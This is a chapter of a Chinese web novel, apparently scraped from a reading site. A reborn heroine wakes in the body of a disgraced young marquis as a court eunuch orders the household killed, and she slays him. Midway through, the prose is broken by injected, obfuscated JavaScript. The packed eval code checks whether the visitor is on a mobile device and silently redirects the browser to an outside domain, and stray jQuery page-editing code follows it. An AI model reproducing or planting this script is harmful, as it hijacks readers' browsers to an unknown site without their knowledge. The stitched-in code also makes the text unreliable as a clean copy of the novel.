大周朝西北边郡,西关王府。
刘子晔猛地睁开眼。
她一动不动,盯着视线上方的滚边青绸帐顶与盘云雕花床顶足有一分钟,几乎不费什么功夫就接受了自己重生穿越到另一个完全不同世界的事实。
心念一动,双掌手指微微勾起,指尖触碰到一片软和热乎的光滑被面。
呼吸间的热气浮动,胸腔当中心脏健康有力的跳动。
甚至是这具因为沉睡太久突然清醒的身体,不时袭来的晕乎乎又隐隐要撑破了脑仁般的疼痛……都让她不可抑制的感到兴奋。
重获生命的实感,险些令刘子晔激动到热泪盈眶!
胸腹深深呼吸了一口新鲜空气,就在刘子晔肌肉绷起准备掀开被子跳起来的瞬间——
“咚!”
一道沉闷的皮肉骨骼与重物撞击之声刺入耳膜,只听声音就可以判断,受到撞击的人,定然皮肉开绽,头破血流。
正沉浸在前所未有喜悦情绪当中的刘子晔,当即汗毛直竖,头皮一阵阵发麻。
刘子晔忍住了肌肉反应,将自己牢牢的稳在被窝当中,假装还在昏迷当中。
被窝中的双手猛地收紧,生生在手心掐出了血。
好在她的面部被床帷遮挡,又在光影暗处,并无人察觉。刘子晔用力皱了皱眉,忍住炸裂般的头痛,于轰轰脑鸣当中聚集着精神。
“不能!刘公公,小王……小侯爷他还没死!您不能就这样,就这样把他和老王爷一起埋了!”
“没死?”
刘子晔听到接话的是一道阴柔尖利的声音,位于距离乌木架子床几尺开外处,说话之人语调轻蔑:“咱家从燕京随行至此的御医都说,小侯爷已然气绝,你算个什么东西,耽误了咱们给西关王收殓回燕京复命的大事,担待的起吗?”
“不是的……小侯爷他刚刚,刚刚真的还有一口气!”
“刘公公,我们给您磕头,给您磕头了,再等等,再等等好吗?若现在就封入棺中,就再无活路,那岂不是与活埋无异!”
一时间,靠近她床榻的这一侧,响起了一片叫人牙酸的砰砰磕头之声。
求肯的声音中,有年老、有年幼,有男人、有女人。
“哎哟,真是叫人无法理解啊。这小侯爷生前是个什么愚鲁顽劣的德性,连咱家这等远在燕京之人都有耳闻。你们受他暴虐对待这么久,死到临头,何必这般为了他抵抗,平白叫自己多受罪呢?更何况,就算你们真能阻得了一时片刻,你们那小侯爷当真没死又活了过来,以他的德行,又能保护得了你们几时?又能记得你们的恩情么?”
刘子晔静静听着,一边小心的在被子里转动手脚,为四肢回血。
方才那位带头磕头求情的王府老仆再次出了声,声音听起来已有些虚弱,显然在这一段时间之内失血不少,没了力气。
“西关王爷生前于我等有恩,无论小侯爷往日行止有何不端,他都是我们西关侯府的主子,是西关王爷唯一的骨肉血亲,是圣祖皇帝的嫡幼孙!我等又如何能够做出弑主背主之事!”
不过,显然并非所有人都像说话的这位老仆这般硬骨头,而是选择了投靠刘公公,匍匐着向前求得一线生机。
老仆的声音惊怒非常:“你、你可是小侯爷的亲卫,怎么能这般贪生怕死,王府将你抚养成人,你就是这样报答西关王的吗?”
一个年轻许多的男声略顿了顿才回道:“老王爷已死,若说王府养我成人待我不薄,那也是老王爷的恩情,与小侯爷有什么关系?倒是咱们的小侯爷,亲卫算什么,就连管家您,也只不过是供他随意作弄使唤的猫儿狗儿罢了!”
王府管家似是被说到了痛处,回话有了些磕绊:“可……可小侯爷他毕竟是老王爷唯一的血脉,他既还活着,无论如何,我们也不能做这般害他性命的事!”
“兴许、兴许,遭逢此次大难,小侯爷再醒来,就转性了……对不对?”
老管家语气虚浮,深知说这样的话,根本连自己都说服不了。满室的王府中人,俱都麻木悲凉,清楚的知晓如今的他们,不过是穷途末路的挣扎。
小侯爷的醒来,根本不可能给他们的处境带来任何益处。
隔着轻薄的床帐,刘子晔微微侧首,目光自幽暗处投向室内。
一间约莫三四十平见方的寝室中,离他张床榻最近的十数人,或倒或跪,却无一例外地将身后的床榻竭力护住,想必都是原本王府之中的仆从。在他们前方,两名甲胄满身、手握剑柄的侍卫簇拥着一名手持拂尘的太监,神情肃穆。
更让人无法忽视的,是几排同样身着轻甲的禁卫队,整齐列队,气势比人。
寝室的大门敞开着,隐约还能听到室外偶尔传来的惊愕呼号之声,但很快便被压制下去。显然,这场变故来的猝不及防,寝室内外的王府众人已尽数被控制住。
而此刻,挡在他床前的仆从们,犹如螳臂当车。
在那森冷的甲胄与寒光闪烁的利刃前,显得单薄如纸。空气中弥漫着无声的压迫,仆人们呼吸沉重,身躯颤抖。他们知道,这场悬殊的对峙,注定是一场徒劳的抗争,只待刘公公那点可怜的耐心耗尽。
刘公公将众人神情收在眼底:“呵呵,指望这样的主子自己转性,还不如指望西关王爷复生呢。”他抬了抬拂尘,下令:“不留活口。”
竟是无论求饶与否,都不打算放过。
毕竟,不过是一群失了主子庇护,蝼蚁般的奴婢罢了。
刘子晔在被单之内,试着抬了抬手臂。
好,可以动了。
而一时之间,满室乒乓之声响起,伴随着咚咚的人体受到撞击,倒在地面或者墙上的声音。
有人一步步的靠近了自己的床面。
刘子晔算准了时机,在来人躬下身子,伸出手臂之时,骤然再次睁开眼,朝着他冷冷看了过去,微微咧开嘴一笑。
“啊啊啊见鬼了啊!”
一声尖叫声震动屋宇,来人倒退着后坐了在了地上。
而室内乱象,也在这突然的变故中陡然停住。
刘子晔随之一把掀开被褥,动作敏捷的端坐在了床沿之上。
目光所及的,除了地上那名倒退着爬行逃离的太监,还有每一个下意识后退了一步的佩剑侍卫与王府仆从。
在刘子晔醒来之前,伴随着穿越所绑定的系统,同她谈及了自己需要执行的任务。
系统说,她的任务是拯救二世而亡的大周朝,成为这片大陆之上的千古一帝。
原本她想,当皇帝的任务,还是造反当皇帝,听起来纯粹像是逗着人来玩,但如果可以获得她从未拥有又极度渴求的健□□命、地位与金钱,那个系统听起来也经验丰富很不简单的样子,倒也不是不可以一试。
毕竟,当时的她,也没有别的选择不是吗?先苟来一线生机再说。
但现在么……
刘子晔暗暗咬了咬牙。
爹的,这原主竟然是这么个德性的主儿!更重要的是,她才刚刚开局就要被团灭!
刘子晔脑子里剩下的就是来来回回几个句子,愚鲁顽劣声名狼藉的女扮男装小侯爷,荒凉贫瘠随时可能面临百姓暴动的封地,时时都想弄死自己的当今皇帝及皇帝的各路狗腿们……
系统显然选择性隐瞒了部分事实,除此之外,还有什么坑在前面等着她,都完全说不好。
造反当皇帝。
就凭这?
很好,很好,她想要掀房顶的心都有了!
有些东西,不曾拥有的时候,也许会渐渐麻木渐渐习惯。
可若是期待过久偶得赐予,享受到了片刻之欢,却要眼睁睁看着再次被拿走……
暗沉的情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458034|169607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绪像涌动着想要爆发的滚烫岩浆,她的手指微微颤抖,眼中燃起的不仅是愤怒,更是一种近乎绝望的不甘。而上辈子的生存经验,却让她习惯了永远不能失控,永远要保持乖巧懂事的笑。
她让自己和煦的笑着。
一张脸生的雌雄莫辨,长眉星目,鼻梁高挺,精致的山根微微凸起,薄刻双唇曲起一个完美的弧度,因着长时间卧床,泛着不健康的青色。
眸色暗沉如深潭,却偏偏吟吟的在笑。
这诡异的一幕,看得在场之人,心头猛地一跳。
燕京来的侍卫,有不少都是第一次亲眼瞧见到这恶名在外的小侯爷。这位圣祖嫡幼孙曾经被传说,面相极度肖似大周朝开国圣祖皇帝,如今看来,传言确实不假!
御医颤抖着声音喊道:“不可能……明明,半刻钟之前,小王……不是,小侯爷,已然气绝!我不可能出错,不可能出错!”
怎么转眼就这样诡异惊悚的坐起来了?
“哐当——吱嘎——”一声巨响。
木质房门与窗户同时从户外被狂风撞开,呼啦啦的冷空气倾泻而入。
窗外刺目的阳光照的刘子晔瞳孔微缩,冷风卷起她单薄的衣衫灌入身体,刮过浑身皮肉,像冻刀子般生疼。
刘子晔眯了眯双眸。
唔,活着的感觉真好。
她真的……真的不想再死。
骤然紧缩的瞳孔,令她的视线看起来无比冰冷,刘子晔本人却恍若未觉。
须臾。
在无人知晓的情绪深潭之中,来回走过一遭的刘子晔,凝眉专注好奇的从室内每一个目瞪口呆的众人面上掠过,莫名其妙又极其惊讶的喊了声:“哟,这是干嘛呢?”
话毕,室内之人再次惊恐的倒退了一步。
一位满面鲜血,匍匐在地的王府管家,却圆睁着双目,艰难朝着自己爬行而来。
“小侯爷?小侯爷!您这是醒过来了吗?”
乌木盘云床上,刘子晔一身洗换的洁白干净的里衣,鬓发整齐,显然有仆人每日都为其清洁整理。
眼下这些王府的侍女和管家仆人,的确大多如他们方才表现出的那样,即使原主愚鲁顽劣不堪,仍然尽职尽责的将原主这个沉睡不醒的落魄小侯爷,照拂的非常好。
刘子晔将视线从老管家惨到极致,仿若绝处逢生般渴切热烈的面上移开。
她没有理会老管家的呼唤,双臂在身侧微微借力,不紧不慢的自床架上站起身。双手向后背抄,未着靴履,一步一顿的踩过寒凉的地面。
目光锁定在依然仰倒在地,被骇的苍白无血色的领头太监身上,笑了笑道:“怎么?好歹我也是圣祖天家血脉,大周朝一府侯爷,诸位是连如何给当朝侯爷行礼都不会了?”
一语毕,刘子晔欣赏的看着几人脸上异彩纷呈的表情,挑了挑眉示意,便站在了原处等着。
她说话的语气太过自然镇定,气势又是那样的足。
惊骇怔愣当中的燕京侍卫终于回过神,当即有人抢行了一步,意欲扶起瘫伏在地的刘公公。
在踉跄着被搀扶起来的同时,刘公公用着颤抖的语调哆嗦的开口:“你……你……竟然真的还活着?还知道了被贬为侯爷之事?”
刘子晔自然不会回答他的问题。
她只是微微倾身,目光冷冽地注视着眼前的一切。就在那侍卫躬身用力扶起刘公公的一瞬,她似寡淡似认真地,从这名侍卫腰间“唰——”的一声抽出一柄长剑。
像把玩一般,将剑尖直指刘公公挣扎中露出的脖颈。
她的动作太散漫,以致后排的侍卫即使看到了,也绝不会想到,这样一把剑在她手中,能构成什么杀伤力。
直到下一刻——
喷溅的鲜血,泼墨般糊满了侍卫伸出去的双手。
嘀嘀哒哒流淌在地上。